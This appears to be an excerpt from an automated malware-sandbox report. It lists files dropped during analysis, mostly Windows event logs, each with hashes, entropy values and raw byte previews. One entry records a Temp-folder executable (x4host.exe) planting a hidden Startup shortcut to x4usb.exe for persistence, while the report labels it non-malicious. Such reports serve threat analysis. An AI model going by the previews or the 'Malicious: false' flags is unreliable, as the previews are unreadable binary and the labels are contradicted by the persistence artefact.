SHA-256:	4A0F28D0A026C262CF2C0F0BB898292B0E8C23E614E5E7250BD5293688983DA7
SHA-512:	D0CA9B1F3F734E8EADD0F38D924433DFE770CA716D6458918312B95A54D8FBBB7C9300C8D4A6BDB8D3C6DF9EE3FB1FD809A07825042218C66D6D96B2A3C00769
Malicious:	false
Preview:	Dl..K..D...t.-.&s........6_$.v?.-..._:...LO..Nv..I...X......\|..5.....<...\.4.I..L.....5...&..m\..[J............E.\|=..7...$%..E.....4x.x.q'k.N.)..m- .h.)..\|..'g.3...O..x.[...N\|.q..\|....S.Ok`.. =hSR..v.h..&H.O....te^7..i.a.<$...~.v...;Ty.X..(..Id.s.'7.T.#c..2.x$....0.a.Gi..A.L....#.C.n.}:@...>3.a..s...S.$%.f..UI..?....!.....!q....u.#s.U...Y.....3].h....r.d/.M~w.......!..m..T.%._..\|A.[0..b..f8.?..D....4......d1.:.>+.J..+.....+.9l.k..e.oa...b>.r.T..K.-....s...1xq/...W..cr.P.g......(.(h.h\|.....{,T.i...QD1..q.-...o.A...-(P.O...r....:prd.O`.t..(Pv..Cx(=...&Pb...q...w...~..i..7.....tQ..5_0oou=4.......V.4q..}..."Z.rLTb....x.S..xU...B...9.N...I$.J........9.Qz.....k.W*...~...'..z.9)!.D.H...^.}...d.0;.......w.z3...F];.7ill...(.#.....n.?.TEP)'.....1...o..}.Ja.....Q1.o...kt..q..Sr.@?.u..N.o..e.A..a.#S.H.....Y.Z-Wul.;PVH.m..u.H..[k...I..x.UM.Y.... Qg....lx.0rp.^_\...R.!H.X4V..g....]..w...^.:vc..g...~..k?gI....v5..\|..~+.mT....".K.}.h...gnJ....9-.. .j+)

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\x4usb.lnk

Process:	C:\Users\user\AppData\Local\Temp\x4host.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Archive, ctime=Mon Jul 1 21:31:04 2024, mtime=Mon Jul 1 21:31:04 2024, atime=Mon Jul 1 21:31:04 2024, length=70144, window=hide
Category:	dropped
Size (bytes):	947
Entropy (8bit):	5.055970444059929
Encrypted:	false
SSDEEP:	12:8bnfQy47nWCngdaZ10Rkli7KKTEjAbfjf1KwgUNwuLEF844t2YZ/elFlSJmZmV:8bm7WzW10RkMrkAbfL8w7kF7qyFm
MD5:	7679692979AEB68C08A2A36054F9F6E4
SHA1:	9B1451150FD7C9964562FFAB376E1600666BD8A0
SHA-256:	AD139EF6837326C19F4471C92A8A16134997F5932E094FE08348F6B8D8AFBF33
SHA-512:	710AEEE11181200CA8C5A3583FB2DDB0481469B9AAC13456051444D442AA8A90FBE75D1646C98141F004998F2A297847038C9C7B2A2B38188D700E1806E3CB41
Malicious:	false
Preview:	L..................F.... ......[.......[.......[............................j.:..DG..Yr?.D..U..k0.&...&......vk.v....NCPS.....h.[........t...CFSF..1.....CW.^..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......CW.^.X............................%..A.p.p.D.a.t.a...B.P.1......X...Local.<......CW.^.X.....b.....................QP'.L.o.c.a.l.....\.2......X. .x4usb.exe.D.......X..X...............................x.4.u.s.b...e.x.e.......U...............-.......T............s.......C:\Users\user\AppData\Local\x4usb.exe..!.....\.....\.....\.....\.....\.....\.L.o.c.a.l.\.x.4.u.s.b...e.x.e.............:...........\|....I.J.H..K..:...`.......X.......494126...........hT..CrF.f4... ..T..b...,.......hT..CrF.f4... ..T..b...,..................1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.2.6.5.8.-.3.6.9.3.4.0.5.1.1.7.-.2.4.7.6.7.5.6.6.3.4.-.1.0.0.2.........9...1SPS..mD..pH.H@..=x.....h....H.....K...YM...?................

C:\Windows\System32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	64
Entropy (8bit):	1.1628158735648508
Encrypted:	false
SSDEEP:	3:Nlllul1:NllU
MD5:	333779D8BE2493FA95B21379569EDFE3
SHA1:	24C47B1CB09DFC3107253E94D11BF2285F103C98
SHA-256:	D103841352D46A89D37BC5FA123910DAA80794F7FD73633C7141E512CAB75BD0
SHA-512:	26BD78C3439435639FDE248B70F4615F9081B5B59E922F05376CA39AF5C0C4844771C122B804BB6E30764C2BE8944EFCCF5CB0A58CCBA950F24A7B858BC1AB8B
Malicious:	false
Preview:	@...e................................................@..........

C:\Windows\System32\winevt\Logs\Application.evtx

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	modified
Size (bytes):	2352
Entropy (8bit):	3.6960365711281247
Encrypted:	false
SSDEEP:	48:Mcn0qgCrP+kcSLdwSCtR65EfWHjjP4OFiNaKQyr7O3:PLgnjJOLjjP4Ok4Ky3
MD5:	3CA92ED1B84418BACB1E74C2F315E839
SHA1:	58050D9C7BBDA4D81122576E46FA8DD5D7931E9C
SHA-256:	9F9DEDEFFE9DCDA75663A2323F2BFE1534A793931FD982D60C863C8B95D87B79
SHA-512:	E53F894747B6698400E3142711E1237859CAFAFC838B876F99CD565E2C6155191F30AC4B95E453A3EE3B49164345824F23C77B0C71F624D3645B31EA6B47EF8E
Malicious:	false
Preview:	ElfChnk.................q.......q...............0............................................................................@.................g...........................=...................................................................................p...................................t...?...........................................F...................M...5...........................@...................................................................................................................&...**..0...q.......Fh0d..............&...........=..R..u..$.w.......A..k...M...........E.v.e.n.t........j...........x.m.l.n.s.....5.h.t.t.p.:././.s.c.h.e.m.a.s...m.i.c.r.o.s.o.f.t...c.o.m./.w.i.n./.2.0.0.4./.0.8./.e.v.e.n.t.s./.e.v.e.n.t.................oT..S.y.s.t.e.m....A..2............{..P.r.o.v.i.d.e.r.......F=.......K...N.a.m.e.......M.i.c.r.o.s.o.f.t.-.W.i.n.d.o.w.s.-.C.A.P.I.2.F........)...G.u.i.d.....&.{.5.b.b.c.a.4.a.8.-.b.2.0.9.-.4.8.d.c.-.a.8.c.7.-.b.2.3.d.3.e.5.2.1.6.f.b.}.

C:\Windows\System32\winevt\Logs\Microsoft-Client-Licensing-Platform%4Admin.evtx

Process:	C:\Windows\System32\svchost.exe
File Type:	MS Windows Vista Event Log, 3 chunks (no. 2 in use), next record no. 304, DIRTY
Category:	dropped
Size (bytes):	109960
Entropy (8bit):	3.645207627098521
Encrypted:	false
SSDEEP:	768:KVUHiapX7xadptrDT9W84uCVUHiapX7xadptrDT9W84u:FHi6xadptrX9WPyHi6xadptrX9WP
MD5:	AB6D3A670A209791D915A286A0A8C86D
SHA1:	BA7F8AEAEA148BEF4944DDC3B55F48DFE473F4D9
SHA-256:	E93D8B58FF20EA259AE1D01FACDAE59DE80D3832B0089F34149146E29F904A44
SHA-512:	4CAD772F5C3AE6F0B830014D440B3ECED87EF52AFE621C765C1A4D72B2156623D69590B34C2B18D3809932F171D94849019DC1B4DD93BAA983ADEF5D67278C3B
Malicious:	false
Preview:	ElfFile.................0...................................................................................................Fo.xElfChnk.........1...............1...........p..........`......................................................................................>.......................f...=...........................................................................................................................f...............?...........................m...................M...F...........................................................&........r...................m..............qo...................>...;..................**..............4.9...............&...........\|B._..Q=;C9.........A......M...........E.v.e.n.t........j...........x.m.l.n.s.....5.h.t.t.p.:././.s.c.h.e.m.a.s...m.i.c.r.o.s.o.f.t...c.o.m./.w.i.n./.2.0.0.4./.0.8./.e.v.e.n.t.s./.e.v.e.n.t.................oT..S.y.s.t.e.m....A..Y............{..P.r.o.v.i.d.e.r...6...F=.......K...N.a.m.e........X.......)...G.u.i.d.

C:\Windows\System32\winevt\Logs\Microsoft-Windows-AppModel-Runtime%4Admin.evtx

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	2.010692427789071
Encrypted:	false
SSDEEP:	384:GhLNzhNCjN0QNGNgN7NxEN5N0RN0zN0mN0RN00N0oN0xN0qNeN0NN0UN0lN09N0Q:GnqqIJMa/Mh9sUwBYAJGUarGlEwxV
MD5:	26C4C5213F3C6B727417EF07207AC1E0
SHA1:	1815CC405C8B70939C252390E2A1AEC87EFF45F2
SHA-256:	767656ADC7440970A3117E0DA8E066D9A3E1DA88CBC82ACABCFA37A3985D5608
SHA-512:	0355BBF16EB471698F47189031E8E18306D8F748E6CC5328C33301BEAAE435647532B24F5EC42A94B92390C19E60D11846B412C6747DC82DC98999E649607B65
Malicious:	false
Preview:	ElfChnk.%.......J.......%.......J............b..Pe.....:....................................................................&...................:.......................b...=...........................................................................................................................f...............?...........................m...................M...F...........................................................&...........].......M...............................VY..................................**......%........0................&...........\|B._..Q=;C9.........A......M...........E.v.e.n.t........j...........x.m.l.n.s.....5.h.t.t.p.:././.s.c.h.e.m.a.s...m.i.c.r.o.s.o.f.t...c.o.m./.w.i.n./.2.0.0.4./.0.8./.e.v.e.n.t.s./.e.v.e.n.t.................oT..S.y.s.t.e.m....A..Y............{..P.r.o.v.i.d.e.r...6...F=.......K...N.a.m.e........X.......)...G.u.i.d........A..M...z........a..E.v.e.n.t.I.D...'........X...)...Q.u.a.l.i.f.i.e.r.s................"...............V.e.r.s.i.o.n.....

C:\Windows\System32\winevt\Logs\Microsoft-Windows-AppXDeployment%4Operational.evtx

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	1424
Entropy (8bit):	3.360630425078906
Encrypted:	false
SSDEEP:	24:MQ/w/DTg2W8kNuB8KBD8/4NeGDrNt88nA8KBD8/4Nes:MQYtWBuGV+3Zt88V+j
MD5:	86F2F26E7C34802965666B9A7A1233D7
SHA1:	D7570CEFDC3C4255A07135F825AF456C18F4EF94
SHA-256:	B894F24308CC4830C8B0C1091EF81FA8D258B476590FA4EE3AE55CEAD480014D
SHA-512:	D3DD1E4A75A67B6B0CB97CEC31EBC396A8879A36EF61413D89998520C7BCB81C804C89BA70E3C3D9CA07F4441F43A09B9B3A5D0DF22B54266FE1AC9B1495D54E
Malicious:	false
Preview:	ElfChnk...............................................a'......................................................................Y.................0.......................X...=...........................................................................................................................f...............?...........................m...................M...F...............................................................................................................&..................................................[5a..............&...............................................................@.......X...a.!.....E..........@.[5a......&O....po'O........P........................M.i.c.r.o.s.o.f.t.-.W.i.n.d.o.w.s.-.A.p.p.X.D.e.p.l.o.y.m.e.n.t...'..Y.J.R>:..=_M.i.c.r.o.s.o.f.t.-.W.i.n.d.o.w.s.-.A.p.p.X.D.e.p.l.o.y.m.e.n.t./.O.p.e.r.a.t.i.o.n.a.l...f.d.........N...M.i.c.r.o.s.o.f.t...W.i.n.d.o.w.s...S.e.a.r.c.h._.c.w.5.n.1.h.2.t.x.y.e.w.y.....O.p...................e7a............

C:\Windows\System32\winevt\Logs\Microsoft-Windows-AppXDeploymentServer%4Operational.evtx

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	4.428192707917486
Encrypted:	false
SSDEEP:	384:EhTm5mcemNQDmomTDDr0moOm3OPlfmMsgJm5mnmYmcmum/mqmlmtmumbsmbmvMmk:EiJD6CL49mVpgwQFQ
MD5:	2DEE8A172EF1B2DDD0E1087AD572B2F4
SHA1:	F85A7832CEC07F3C1E823114135F7F1D7220759A
SHA-256:	3FF6FF846E9BCB572188BE71416E028B541B57AFA4955B82BABFA256CA13352E
SHA-512:	F209B1F33AC960BACD4E82596937DD8DED826508D74C5A4E4558E4197D889B147C9FD1059D090C02279235479318122929718DC29674DFB456C03ADB34471C54
Malicious:	false
Preview:	ElfChnk..!.......!.......!.......!..................@..J.......................................................................................J.......................r...=...........................................................................................................................f...............?...........................m...................M...F...............................................................................................#...............&...................................**.......!......o.T..............&............"3WI..L..........A..\|...M...........E.v.e.n.t........j...........x.m.l.n.s.....5.h.t.t.p.:././.s.c.h.e.m.a.s...m.i.c.r.o.s.o.f.t...c.o.m./.w.i.n./.2.0.0.4./.0.8./.e.v.e.n.t.s./.e.v.e.n.t.................oT..S.y.s.t.e.m....A..Y............{..P.r.o.v.i.d.e.r...6...F=.......K...N.a.m.e........X.......)...G.u.i.d........A..M...z........a..E.v.e.n.t.I.D...'........X...)...Q.u.a.l.i.f.i.e.r.s................"...............V.e.r.s.i.o.n.....

C:\Windows\System32\winevt\Logs\Microsoft-Windows-Application-Experience%4Program-Compatibility-Assistant.evtx

Process:	C:\Windows\System32\svchost.exe
File Type:	MS Windows Vista Event Log, 1 chunks (no. 0 in use), next record no. 2, DIRTY
Category:	dropped
Size (bytes):	69448
Entropy (8bit):	0.6200253525356775
Encrypted:	false
SSDEEP:	96:5yNVaO8sMa3Z85ZMLirjj73Z85ZujNVaO8sMa3Z85ZMLirjj73Z85Zu:5EV7pp8nML6v7p8nsV7pp8nML6v7p8n
MD5:	EAD066BFC4980966ED54781361CD8AE7
SHA1:	A6566CB2C786680C22A26B0A1025E7474DEECED3
SHA-256:	6B7F5065C7423829ED9F6CCBDC15617E0195A949105D6371903880CFF2BE964F
SHA-512:	D86CC93F6914EBD8A2A5D95831A9174A9F0A473501F07D1F5D7DFD00EB5B3893641304115AFBB0FC7DA30EF469AEA27E8AB64D570EBFDF7121B2B7E0964D8CF2
Malicious:	false
Preview:	ElfFile.....................................................................................................................A..>ElfChnk.....................................p.......C..\.....................................................................($w............................................=...........................................................................................................................f...............?...................................p...........M...F...................................................................................................................................&...............**..p...........n.d.............g.&.........g....R....uJ.........A......M...........E.v.e.n.t........j...........x.m.l.n.s.....5.h.t.t.p.:././.s.c.h.e.m.a.s...m.i.c.r.o.s.o.f.t...c.o.m./.w.i.n./.2.0.0.4./.0.8./.e.v.e.n.t.s./.e.v.e.n.t.................oT..S.y.s.t.e.m....A..Y............{..P.r.o.v.i.d.e.r...6...F=.......K...N.a.m.e........X.......)...G.u.i.d.

C:\Windows\System32\winevt\Logs\Microsoft-Windows-Application-Experience%4Program-Telemetry.evtx

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	4.014860518194814
Encrypted:	false
SSDEEP:	1536:xbBN2A4VD7VAx8whAGU2woJQghcI5oIRA4Hw:
MD5:	4FB8E2CF8B3F20534836684947962DC2
SHA1:	B263607E627C81DA77DB65DF5AED2F3FD84B83E2
SHA-256:	DEAB680C467984C31D118AC595F0F57E573CEEC460CC4B43FCEB0BD66F731294
SHA-512:	D982DB741A044E222D567712FB4799FF6524A1D451C3D2EE3DF7EB17031AD20EF4EC7098BCFB3E2B00C929EB6569C858EFCF275B28240425E4BF8D994AED9053
Malicious:	false
Preview:	ElfChnk.........V...............V...................0q....................................................................... I............................................=...................................................................................%.......................................X...............?...............................................M...F...................................................................................................................................z...............**..............................g.&.........g....R....uJ.........A......M...........E.v.e.n.t........j...........x.m.l.n.s.....5.h.t.t.p.:././.s.c.h.e.m.a.s...m.i.c.r.o.s.o.f.t...c.o.m./.w.i.n./.2.0.0.4./.0.8./.e.v.e.n.t.s./.e.v.e.n.t.................oT..S.y.s.t.e.m....A..Y............{..P.r.o.v.i.d.e.r...6...F=.......K...N.a.m.e........X.......)...G.u.i.d........A..M...z........a..E.v.e.n.t.I.D...'........X...)...Q.u.a.l.i.f.i.e.r.s................"...............V.e.r.s.i.o.n.....

C:\Windows\System32\winevt\Logs\Microsoft-Windows-CloudStore%4Operational.evtx

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	4.15655690871689
Encrypted:	false
SSDEEP:	768:SPB9TXYa1RFxRaayVadMRFyfqd9xZRta7Ea+5BVZUeaBhN1dJhlBlBJ9tFk6dd3s:eXY5nVYIyyqED5BVZUeouPZ
MD5:	2DE60575CB719BF51FAB8A63F696B052
SHA1:	BD44E6B92412898F185D5565865FEA3778573578
SHA-256:	7C14D6D72CD2DE834A0C4D17A68B2584B83B81C647D2C439E1071600E29A803D
SHA-512:	0471E7824795996992E736F33FEA7AF70EA909804DE3AC59EE76B5D0403901A5147558256C3AAE87BA8F1747D151DE63134661BEB9F6E0FF25AB0E3E89BC6B4A
Malicious:	false
Preview:	ElfChnk.........o...............o..........................................................................................._..................>.......................f...=...........................................................................................................................f...............?...........................m...................M...F...........................................................&...............................................................y.......................**................9..............&...........\|B._..Q=;C9.........A......M...........E.v.e.n.t........j...........x.m.l.n.s.....5.h.t.t.p.:././.s.c.h.e.m.a.s...m.i.c.r.o.s.o.f.t...c.o.m./.w.i.n./.2.0.0.4./.0.8./.e.v.e.n.t.s./.e.v.e.n.t.................oT..S.y.s.t.e.m....A..Y............{..P.r.o.v.i.d.e.r...6...F=.......K...N.a.m.e........X.......)...G.u.i.d........A..M...z........a..E.v.e.n.t.I.D...'........X...)...Q.u.a.l.i.f.i.e.r.s................"...............V.e.r.s.i.o.n.....

C:\Windows\System32\winevt\Logs\Microsoft-Windows-CodeIntegrity%4Operational.evtx

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	93800
Entropy (8bit):	2.148333479729536
Encrypted:	false
SSDEEP:	384:+KosKeoehhdo69CcoTorNorWorbvorTorZorQorNor7orqorlGhorRor9orwTor/:DDCY5DCYkU
MD5:	155EE51837E21F3C1B36CA1B56530808
SHA1:	C007F81471EF8C04D7DF7667254BAD78E282DAF8
SHA-256:	6E76A3935A982EDB06391B0543AE52B7B4E13A94AFC74A07529AC94E4C665AF1
SHA-512:	7538747ECCD333D0BA10FCC8183DC51B6683325F682B1B9C48A070CB41ADD3FEB3DE24869BDF3B3237CE2D9B1BAC669604E7A9092FC85DA7D5EE3FBE6C4D98FC
Malicious:	false
Preview:	ElfChnk......................................+...-...F........................................................................&................:.......................b...=...........................................................................................................................f...............?...........................m...................M...F...........................&....................................................................................$..U)..............................**..............y..R...............$..............................................................>.......V...X.!..e..............y..R......&O......'O........l........................M.i.c.r.o.s.o.f.t.-.W.i.n.d.o.w.s.-.C.o.d.e.I.n.t.e.g.r.i.t.y..k.N.<.D..97d>7.M.i.c.r.o.s.o.f.t.-.W.i.n.d.o.w.s.-.C.o.d.e.I.n.t.e.g.r.i.t.y./.O.p.e.r.a.t.i.o.n.a.l...!>.U)......!>....[.U.....i...........\|...:....A..3...b...%....=.......F.i.l.e.N.a.m.e.L.e.n.g.t.h.......A..3...b...%....=.......F.i.l.e.N

C:\Windows\System32\winevt\Logs\Microsoft-Windows-Containers-BindFlt%4Operational.evtx

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	0.8524226245257144
Encrypted:	false
SSDEEP:	384:JhAiPA5PNPxPEPHPhPEPmPSPRP3PoPpPTP8PXPr5P:J2Nr
MD5:	B8E105CC52B7107E2757421373CBA144
SHA1:	39B61BEA2065C4FBEC143881220B37F3BA50A372
SHA-256:	B7EE076088005866A01738ECD3421A4DA3A389FFB9EEB663687823E6647F7B4B
SHA-512:	7670455904F14DA7A9EEFBAD5616D6D00EA262C979EDABB433182500B6EF918C6E534C94DF30D829016C8539DF12CAD5F53EC884C45AA71ACA35CF9B797361BC
Malicious:	false
Preview:	ElfChnk......................................#...&...l2.......................................................................................N...........................=...........................................................................................................................f...............?...........................m...................M...F...........................&....................................................................................#..........'.......................**..x.............\|..............&............MVy...o.~........A......M...........E.v.e.n.t........j...........x.m.l.n.s.....5.h.t.t.p.:././.s.c.h.e.m.a.s...m.i.c.r.o.s.o.f.t...c.o.m./.w.i.n./.2.0.0.4./.0.8./.e.v.e.n.t.s./.e.v.e.n.t.................oT..S.y.s.t.e.m....A..Y............{..P.r.o.v.i.d.e.r...6...F=.......K...N.a.m.e........X.......)...G.u.i.d........A..M...z........a..E.v.e.n.t.I.D...'........X...)...Q.u.a.l.i.f.i.e.r.s................"...............V.e.r.s.i.o.n.....

C:\Windows\System32\winevt\Logs\Microsoft-Windows-Containers-Wcifs%4Operational.evtx

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	0.8432997252442703
Encrypted:	false
SSDEEP:	384:4hZ21JJgL4JJFiJJ+aeJJ+WBJJ+5vJJ+/UJJ+4fJJ+CwJJ+D2JJ+a2JJ+JtJJ+l9:4WXSYieD+tvgzmMvRpBWfb
MD5:	39EE3557626C7F112A88A4DE12E904C1
SHA1:	C307FECC944D746A49EEA6451B7DA7301F03504C
SHA-256:	2B47146267E6F31192C54D3EDA77EC9ABE6A88B1C72BA9FE789C8073FD632A5A
SHA-512:	304C866E246B3F63BF126B33AED784913A078D44913FD987D896D2D960578B61BA7E24BA3CB8FC76608AB1E5702D0FE587A5FB8C38CDF8913D60F88B1435A2D9
Malicious:	false
Preview:	ElfChnk......................................"...&.....k.....................................................................n..................F...........................=...........................................................................................................................f...............?...........................m...................M...F...........................&...................................................................................."..................................**..p............zu..............&............MVy...o.~........A......M...........E.v.e.n.t........j...........x.m.l.n.s.....5.h.t.t.p.:././.s.c.h.e.m.a.s...m.i.c.r.o.s.o.f.t...c.o.m./.w.i.n./.2.0.0.4./.0.8./.e.v.e.n.t.s./.e.v.e.n.t.................oT..S.y.s.t.e.m....A..Y............{..P.r.o.v.i.d.e.r...6...F=.......K...N.a.m.e........X.......)...G.u.i.d........A..M...z........a..E.v.e.n.t.I.D...'........X...)...Q.u.a.l.i.f.i.e.r.s................"...............V.e.r.s.i.o.n.....

C:\Windows\System32\winevt\Logs\Microsoft-Windows-Crypto-DPAPI%4Operational.evtx

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	2.9223892466691472
Encrypted:	false
SSDEEP:	384:whqhSx4h/y4Rhph5h6hNh5hah/hrhbhmhjh/h7hkh8hbhMh9hYwhChwh8hRqh28t:wbCyhLfIXBS5
MD5:	93BC7C28E3A7B0EC7634432FFB5F26AE
SHA1:	388548D6291DA80F672153D1C18E32BDA335AA90
SHA-256:	D354F4EA745283540D197B6D4C57EFC4F539F7566CFB3A06AEBD1243CD222EE1
SHA-512:	3235FEA5A58C72DCD680D436AA2652F5221C6AC6F5A53882C7817A8A65E63C13087CD5660839FC7CFA0F62C666014608B91ABB4235EF5F79F68EF5806252F84A
Malicious:	false
Preview:	ElfChnk.........F...............F...............P............................................................................................6.......................^...=...........................................................................................................................f...............?...........................m...................M...F...........................&...............................n...................................................6...................................*..`............0H..............&............MVy...o.~........A......M...........E.v.e.n.t........j...........x.m.l.n.s.....5.h.t.t.p.:././.s.c.h.e.m.a.s...m.i.c.r.o.s.o.f.t...c.o.m./.w.i.n./.2.0.0.4./.0.8./.e.v.e.n.t.s./.e.v.e.n.t.................oT..S.y.s.t.e.m....A..Y............{..P.r.o.v.i.d.e.r...6...F=.......K...N.a.m.e........X.......)...G.u.i.d........A..M...z........a..E.v.e.n.t.I.D...'........X...)...Q.u.a.l.i.f.i.e.r.s................"...............V.e.r.s.i.o.n.....

C:\Windows\System32\winevt\Logs\Microsoft-Windows-Crypto-NCrypt%4Operational.evtx

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	2.838106263184782
Encrypted:	false
SSDEEP:	768:ccMhFBuyKskZljdoKXjtT/r18rQXn8r3e5POH:JMhFBuVge
MD5:	A2D41740C1BAF781019F282E37288DDF
SHA1:	A6FE635B3EC8A6923EDE10C23FC79DD32EF4F621
SHA-256:	7008D3010B17C0B09643D10D26B19FB971BB1963C414C1466BEAD617CF9F15E7
SHA-512:	E33A0A2F9473D2D05E9704FE16E6EE34FB51FD8E25A3D60E1F7A67665CA14421B6511D896526AFC7CAE1BF629BB7013FA10663620C5450F1BB51A465EF5A51CB
Malicious:	false
Preview:	ElfChnk.........?...............?...................<.md.....................................................................?.Q................:.......................b...=...........................................................................................................................f...............?...........................m...................M...F...........................................................&...............m...........................5A......&...................................**..x...........,.8..............&...........\|B._..Q=;C9.........A......M...........E.v.e.n.t........j...........x.m.l.n.s.....5.h.t.t.p.:././.s.c.h.e.m.a.s...m.i.c.r.o.s.o.f.t...c.o.m./.w.i.n./.2.0.0.4./.0.8./.e.v.e.n.t.s./.e.v.e.n.t.................oT..S.y.s.t.e.m....A..Y............{..P.r.o.v.i.d.e.r...6...F=.......K...N.a.m.e........X.......)...G.u.i.d........A..M...z........a..E.v.e.n.t.I.D...'........X...)...Q.u.a.l.i.f.i.e.r.s................"...............V.e.r.s.i.o.n.....

C:\Windows\System32\winevt\Logs\Microsoft-Windows-Diagnosis-DPS%4Operational.evtx

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	4.634418630947688
Encrypted:	false
SSDEEP:	768:/VQ+uYvAzBCBao/F6Cf2SEqEhwaK41HZaUeI36ISKEeKRe:cH
MD5:	A00BAFFCABB00428EA0512FCECCC55E5
SHA1:	19F7C942DC26C3FF56D6240158734AFF67D6B93E
SHA-256:	92264C9E28AB541669DED47CFAF1E818EBD863FA9E8FC6B0F52175D694A9E0D9
SHA-512:	DF94AA8FA0610A0EFE7BAC0DB2A01645A4CD1C7FAD62E914EF914B526B651ED62600F63909D26149FD17C259348DADE05F48759B1DF092970251DB86690CC2B6
Malicious:	false
Preview:	ElfChnk.........m...............m.....................]......................................................................p.................:.......................b...=...........................................................................................................................f...............?...........................m...................M...F...........................................................&...............................................................................%0......**..@...........WW. ..............&...........\|B._..Q=;C9.........A......M...........E.v.e.n.t........j...........x.m.l.n.s.....5.h.t.t.p.:././.s.c.h.e.m.a.s...m.i.c.r.o.s.o.f.t...c.o.m./.w.i.n./.2.0.0.4./.0.8./.e.v.e.n.t.s./.e.v.e.n.t.................oT..S.y.s.t.e.m....A..Y............{..P.r.o.v.i.d.e.r...6...F=.......K...N.a.m.e........X.......)...G.u.i.d........A..M...z........a..E.v.e.n.t.I.D...'........X...)...Q.u.a.l.i.f.i.e.r.s................"...............V.e.r.s.i.o.n.....

C:\Windows\System32\winevt\Logs\Microsoft-Windows-Diagnostics-Performance%4Operational.evtx

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	2.0646587531847893
Encrypted:	false
SSDEEP:	384:eh1kbAP1gzkw3kN5Ayqk+HkzGk+hkV3SuckzlckA66k+4DkzRxk+dkzwUk+rkzDK:eMAP1Qa5AgfQQgniwS
MD5:	399CAF70AC6E1E0C918905B719A0B3DD
SHA1:	62360CD0CA66E23C70E6DE3340698E7C0D789972
SHA-256:	FD081487CCB0ACEAD6F633AADBA4B977D2C9360CE8EAC36EAB4E3C84A701D849
SHA-512:	A3E17DA61D4F7C0C94FD0B67707AE35250656842D602906DE515B5E46ECD5078AC68AE607B99DC1A6061B0F896759FE46FF8EE350774205635D30363D46939EA
Malicious:	false
Preview:	ElfChnk......................................g...j..%s.g........................................................................................b...........................=...........................................................................................................................f...............?...........................m...................M...F...........................................................&........................................&...........c..;...............................**..x...........HD................&...........\|B._..Q=;C9.........A......M...........E.v.e.n.t........j...........x.m.l.n.s.....5.h.t.t.p.:././.s.c.h.e.m.a.s...m.i.c.r.o.s.o.f.t...c.o.m./.w.i.n./.2.0.0.4./.0.8./.e.v.e.n.t.s./.e.v.e.n.t.................oT..S.y.s.t.e.m....A..Y............{..P.r.o.v.i.d.e.r...6...F=.......K...N.a.m.e........X.......)...G.u.i.d........A..M...z........a..E.v.e.n.t.I.D...'........X...)...Q.u.a.l.i.f.i.e.r.s................"...............V.e.r.s.i.o.n.....

C:\Windows\System32\winevt\Logs\Microsoft-Windows-GroupPolicy%4Operational.evtx

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	4.4364303862010575
Encrypted:	false
SSDEEP:	384:PhrE2E+EAsbE3VgEWsUiEcEf4eEOhEmELVFEEE5ejElEreEFEzEAEWE+EWEeEKEy:P3sleByhfIwPGa1SEzy
MD5:	2BB73ACC8F7419459C4BF931AB85352C
SHA1:	F1CE2EB960D3886F76094E2327DD092FC1208C7E
SHA-256:	1969400F6FC72AD4A41092FEC53A19078C98DE9FCB2507A3BD8E1930B2447B62
SHA-512:	7D882184DA11B490E111502C8193B73248259D43CC5DCE021CD7264212F1BCD3D62F2A3A2F86929663E2E904961D4F1E406E314020FE904D41694A09C1EB0457
Malicious:	false
Preview:	ElfChnk.p...............p..................../...1..V......................................................................H...................$.......................L...=...........................................................................................................................f...............?...........................m...................M...F...........................................m..............................%................ ..................&............0......................*......p..........T..............&............"3WI..L..........A..\|...M...........E.v.e.n.t........j...........x.m.l.n.s.....5.h.t.t.p.:././.s.c.h.e.m.a.s...m.i.c.r.o.s.o.f.t...c.o.m./.w.i.n./.2.0.0.4./.0.8./.e.v.e.n.t.s./.e.v.e.n.t.................oT..S.y.s.t.e.m....A..Y............{..P.r.o.v.i.d.e.r...6...F=.......K...N.a.m.e........X.......)...G.u.i.d........A..M...z........a..E.v.e.n.t.I.D...'........X...)...Q.u.a.l.i.f.i.e.r.s................"...............V.e.r.s.i.o.n.....

C:\Windows\System32\winevt\Logs\Microsoft-Windows-HelloForBusiness%4Operational.evtx

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	3.0631557320109892
Encrypted:	false
SSDEEP:	384:xhYCAKRuKIYKxkKiCKVIAK8sL4K5VKjPKwnKZ/K50K8/0KXAKuWKSlK+NK8t3KlZ:x1T4hGvj
MD5:	86AEA3A9CA3E5909FD44812754E52BD6
SHA1:	F79B583F83F118AC724A5A4206FC439B88BB8C65
SHA-256:	2AB21F158F9FFA0A375B2ABBD58880A732FABBC436246D40A68DD88D324428C9
